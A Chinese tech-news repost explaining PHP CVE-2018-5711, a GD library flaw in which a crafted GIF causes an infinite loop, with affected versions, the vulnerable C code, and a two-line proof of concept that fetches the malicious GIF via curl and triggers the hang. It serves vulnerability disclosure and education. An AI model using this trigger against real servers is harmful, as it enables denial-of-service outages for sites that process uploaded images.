PHP漏洞|一张GIF图片就能让服务器宕机的PHP漏洞

开发 后端
最近,台湾Web漏洞挖掘大牛Orange Tsai在对一些Web开发框架和程序实现模块进行安全审核的过程中,发现了一些有意思的漏洞。就比如说,这个PHP的CVE-2018-5711,它能用一张GIF图片就可导致服务器发生崩溃直至宕机,在现实中非常容易利用。在此,Orange Tsai简单地介绍了这个漏洞。

[[219266]]

最近,台湾Web漏洞挖掘大牛Orange Tsai在对一些Web开发框架和程序实现模块进行安全审核的过程中,发现了一些有意思的漏洞。就比如说,这个PHP的CVE-2018-5711,它能用一张GIF图片就可导致服务器发生崩溃直至宕机,在现实中非常容易利用。在此,Orange Tsai简单地介绍了这个漏洞。

漏洞影响的PHP版本 包含以下PHP系列和其它所有PHP版本

PHP 5 < 5.6.33

PHP 7.0 < 7.0.27

PHP 7.1 < 7.1.13

PHP 7.2 < 7.2.1

漏洞细节 漏洞存在于文件ext/gd/libgd/gdgifin.c中,其中在LWZReadByte_函数中存在一个循环(while-loop):

 

  1. do { 
  2.  
  3.     sd->firstcode = sd->oldcode = 
  4.  
  5.     GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP); 
  6.  
  7. } while (sd->firstcode == sd->clear_code); 

 

GetCode函数仅只是一个包装类,GetCode_才是真正的执行体:

 

  1. static int 
  2.  
  3. GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP) 
  4.  
  5.  
  6.     int           i, j, ret; 
  7.  
  8.     unsigned char count
  9.  
  10.        ... 
  11.  
  12.     if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0) 
  13.  
  14.        scd->done = TRUE
  15.  
  16.        ... 
  17.  
  18. }  

GetCode_ 会调用GetDataBlock来读取GIF图片中的数据:

 

  1. static int 
  2.  
  3. GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP) 
  4.  
  5.  
  6.  unsigned char   count
  7.  
  8.  if (! ReadOK(fd,&count,1)) { 
  9.  
  10.      return -1; 
  11.  
  12.  } 
  13.  
  14.  *ZeroDataBlockP = count == 0; 
  15.  
  16.  if ((count != 0) && (! ReadOK(fd, buf, count))) { 
  17.  
  18.      return -1; 
  19.  
  20.  } 
  21.  
  22.  return count
  23.  

 

以上就是涉及到的漏洞代码,你有发现一些端倪吗?

该漏洞依赖于从整形(int)到无符号字符(unsigned char)的类型转换。就像上述的:如果GetDataBlock_返回-1,则第400行中的scd->done将会被设置为True,并停止while循环。但是其定义的count是无符号字符,它总是从0到255的正数,所以这种循环停止动作是不会被触发执行的。

因此,最终结果就是,一张GIF图片就可以实现无限循环,导致服务器资源耗尽,直到崩溃宕机。

PoC

 

  1. $ curl -L https://git.io/vN0n4 | xxd -r > poc.gif 
  2.  
  3. $ php -r 'imagecreatefromgif("poc.gif");' 
  4.  
  5.   Infinite loop here... 

 

由于现实网络中,很多服务器都会用GD图形的扩展库,对用户上传的图片作重新尺寸调整处理,所以该漏洞具有很强的现实危害。

后记 Orange Tsai后续会公开更多0-day和与该漏洞相关的内容。

漏洞参考:

https://bugs.php.net/bug.php?id=75571

http://php.net/ChangeLog-7.php

 

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5711 

责任编辑:庞桂玉 来源: PHP技术大全
相关推荐

2013-07-03 11:28:47

2009-11-22 15:28:35

2012-04-12 11:28:04

2012-04-12 16:05:50

2009-08-15 10:19:01

漏洞利用php expEXP程序

2013-03-25 11:51:42

php漏洞代码审计php

2021-04-16 11:01:28

ExchangeNSA漏洞

2015-02-04 14:50:29

2017-09-19 15:01:06

PHP漏洞渗透测试

2011-03-28 14:35:39

2023-03-10 11:12:12

2021-12-30 08:36:13

漏洞Apache服务器

2009-11-04 21:06:06

2009-12-29 14:25:14

phpXSS漏洞

2012-04-12 15:42:35

2015-04-02 11:37:54

2009-12-10 17:20:00

PHP服务器架设

2012-09-19 09:47:58

PHPWeb服务器

2012-05-24 15:41:38

PHP

2013-05-06 11:04:07

点赞
收藏

51CTO技术栈公众号